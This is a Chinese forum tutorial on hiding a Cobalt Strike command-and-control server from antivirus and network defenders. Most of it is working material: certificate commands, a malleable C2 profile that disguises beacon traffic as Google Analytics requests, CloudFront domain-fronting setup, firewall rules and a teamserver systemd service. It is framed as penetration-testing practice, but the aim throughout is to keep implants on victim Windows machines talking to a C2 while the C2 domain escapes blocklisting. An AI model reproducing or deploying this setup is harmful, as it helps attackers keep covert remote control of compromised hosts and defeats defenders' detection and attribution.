电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 897 人浏览分享

安全研究 | 隐藏你的C2域名

[复制链接]
897 0
平时在渗透中我们经常会遇到这样的情况:上传一个远控到windows上,马上就被杀毒给杀了 然后杀毒给样本
自动上传到云中心 过一次去查会会ip或域名已经被标记为恶意ip或远控ip那么有没有方法来避免这样的情况呢?
答案是的。我们可以将cs的连接信息加密和主机头部也不会暴露cs的连接域名。

一、申请域名

在域名注册商申请一个域名 对后缀无特殊要求 某些注册一个x.com

二、解析域名

用域名注册商自带的解析也行,此处用的是免费的cloudflare把一个二级子域名解析到服务端的ip上
面改为test.x.com用A记录解析到192.168.1.1

三、申请域名证书

此处用的是acme.sh,用dns api申请了一个通配符证书 怎么申请请看acme.sh Wiki(https://github.com/ac
mesh-official/acme.sh/wiki/dnsapi)目前acme .sh总支持110个DNS API。
用cloudfalreapi申请通配符证书:

exportCF_Token="sdfsdfsdfljlbjkljlkjsdfoiwje"

acme.sh--issue --dns dns_cf -d x.com -d '*.x.com'

安装证书并自动转换域名证书类型和重启cs服务端:

acme.sh--installcert -d x.com \
--keypath/usr/local/ssl/x.com.key \
--fullchainpath/usr/local/ssl/x.com.cer \
--reloadcmd"openssl pkcs12 -export -in /usr/local/ssl/x.com.cer \
-inkey/usr/local/ssl/x.com.key -out /usr/local/ssl/x.com.p12 \
-passoutpass:123456 \
&&systemctlrestart cobaltstrike.service"

安装完成之后acme.sh会每天检查证书过期时间 大概在还有一个月过期的时候acme.sh
会自动签发证书并执行安装命令reloadcmd

四、转换域名证书类型

cs服务端只认识p12类型的证书,如果用acme.sh申请的话可以调用命令自动化转换域名证书

opensslpkcs12 -export -in /usr/local/ssl/x.com.cer \
-inkey/usr/local/ssl/x.com.key -out /usr/local/ssl/x.com.p12 \
-passoutpass:123456

五、申请AWS CloudFront

注册一个亚马逊账号 绑定支持visa,mastcard等支付的***并通过审核 不支持银联***
需要注意的是aws是后述模式

注册好了之后访问https://console.aws.amazon.com/cloudfront/home 申请一个cloudfront

申请过程中需要注意的地方:

QQ截图20211123155252.png

9999.png

创建完成之后aws会分配一个xxx.cloudfront.net的域名到账号下面 记录下这个域名 之后会用到。

cloudfront不是免费的 可以了解下价格:

传出价格:

9998.png

预期价格:

9996.png

以及其他收费:

9993.png


六、修改C2简介

简介内容如下:
  1. # makeour C2 look like a Google Web Bug
  2. #https://developers.google.com/analytics/resources/articles/gaTrackingTroubleshooting
  3. #
  4. #Author: @armitagehacker
  5. setuseragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) likeGecko";

  6. http-get{
  7.        set uri "/__utm.gif";
  8.        client {
  9.               parameter "utmac""UA-2202604-2";
  10.               parameter "utmcn""1";
  11.               parameter "utmcs""ISO-8859-1";
  12.               parameter "utmsr""1280x1024";
  13.               parameter "utmsc""32-bit";
  14.               parameter "utmul""en-US";
  15.               header "Host""*.cloudfront.net"; # 这里需要修改
  16.               metadata {
  17.                      netbios;
  18.                      prepend "__utma";
  19.                      parameter"utmcc";
  20.               }
  21.        }
  22.        server {
  23.               header "Content-Type""image/gif";
  24.               output {
  25.                      # hexdump pixel.gif
  26.                      # 0000000 47 49 46 38 39 6101 00 01 00 80 00 00 00 00 00
  27.                      # 0000010 ff ff ff 21 f9 0401 00 00 00 00 2c 00 00 00 00
  28.                      # 0000020 01 00 01 00 00 0201 44 00 3b
  29.                      prepend"\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
  30.                      prepend"\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
  31.                      prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
  32.                      print;
  33.               }
  34.        }

  35. }



  36. http-post{

  37.        set uri "/___utm.gif";

  38.        client {
  39.               header "Content-Type""application/octet-stream";

  40.               id {
  41.                      prepend "UA-220";

  42.                      append "-2";

  43.                      parameter"utmac";

  44.               }

  45.               parameter "utmcn""1";
  46.               parameter "utmcs""ISO-8859-1";
  47.               parameter "utmsr""1280x1024";
  48.               parameter "utmsc""32-bit";
  49.               parameter "utmul""en-US";

  50.               header "Host""*.cloudfront.net";  # 这里需要修改
  51.               output {
  52.                      print;
  53.               }
  54.        }
  55.        server {
  56.               header "Content-Type""image/gif";
  57.               output {
  58. prepend"\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";          prepend"\xff\xff\xff\x21\xf9
  59. \x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";                     prepend"\x47\x49\x46\x38\x39
  60. \x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
  61.                      print;
  62.               }
  63.        }
  64. }

  65. \# dressup the staging process too
  66. http-stager{
  67.        server {
  68.               header "Content-Type""image/gif";
  69.        }
  70. }
  71. https-certificate{
  72.        set keystore "keystore.store";
  73.        set password "123456";      # 这里需要修改

  74. }
复制代码

修改好之后放到cs服务端同一个目录下面

七、防火墙配置

根据aws提供的ip列表(https://ip-ranges.amazonaws.com/ip-ranges.json)选择
出cloudfrant ip段加入ipset列表

QQ截图20211123155819.png

然后iptables调用ipset设置仅允许aws cloudfront ip可以80、443回源

9992.png

最后新加规则,仅允许特定ip可以访问cs的管理端口

9991.png

最后的iptables规则文件应该是这样的:

990.png

如果是debian发行版可以利用网络启动脚本进行ipset和iptables的重载

899.png

  1. cat >/etc/network/if-pre-up.d/iptables<<EOF
  2. #!/bin/bash
  3. /sbin/ipsetrestore < /etc/ipset.rules
  4. /sbin/iptables-restore< /etc/iptables.up.rules
  5. /sbin/ip6tables-restore< /etc/ip6tables.up.rules
  6. EOF
  7. chmod +x/etc/network/if-pre-up.d/iptables
复制代码

八、启动服务端

cd到相应目录 软连接之前申请的证书
ln -s cobaltstrike.store /usr/local/ssl/x.com.p12
修改teamserver端口和防火墙对应
配置systemd启动服务 下面配置自行替换ip和passwd
  1. cat > /etc/systemd/system/cobaltstrike.service <<EOF
  2. [Unit]
  3. Description=cobalstrike service
  4. After=network.target
  5. [Service]
  6. ExecStart=/usr/local/cobaltstrike4/teamserver ip passwd/usr/local/cobaltstrike4/c2.profile
  7. WorkingDirectory=/usr/local/cobaltstrike4
  8. Restart=on-failure
  9. RestartSec=5s
  10. ProtectHome=true
  11. PrivateTmp=true
  12. [Install]
  13. WantedBy=multi-user.target
  14. EOF
  15. systemctl start cobaltstrike.service # 启动服务
  16. systemctl status cobaltstrike.service # 查看服务
复制代码

如果正常可以加入开机自启动
  1. systemctl enable cobaltstrike.service
复制代码

九,启动客户端

在bat启动文件里加入-DsocksProxyHost = 127.0.0.1 -DsocksProxyPort = 10808 通过代理连接服务端

QQ截图20211123160434.png

新增一个侦听器,HTTPS主机填入其他支持cloudfront的域名 称为cdn1.safmc.net 更多的可以自己收集

898.png

HTTPS主机(Stager)填充刚才申请到的cloudfront域名

897.png

然后就可以按照正常的方式使用cs,如果抓包会发现使用了tls加密 只有主机头部和cloudfront.net可
以看到而主机头是cdn1.safmc.net,而不是前面申请的域名测试。 x.com

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.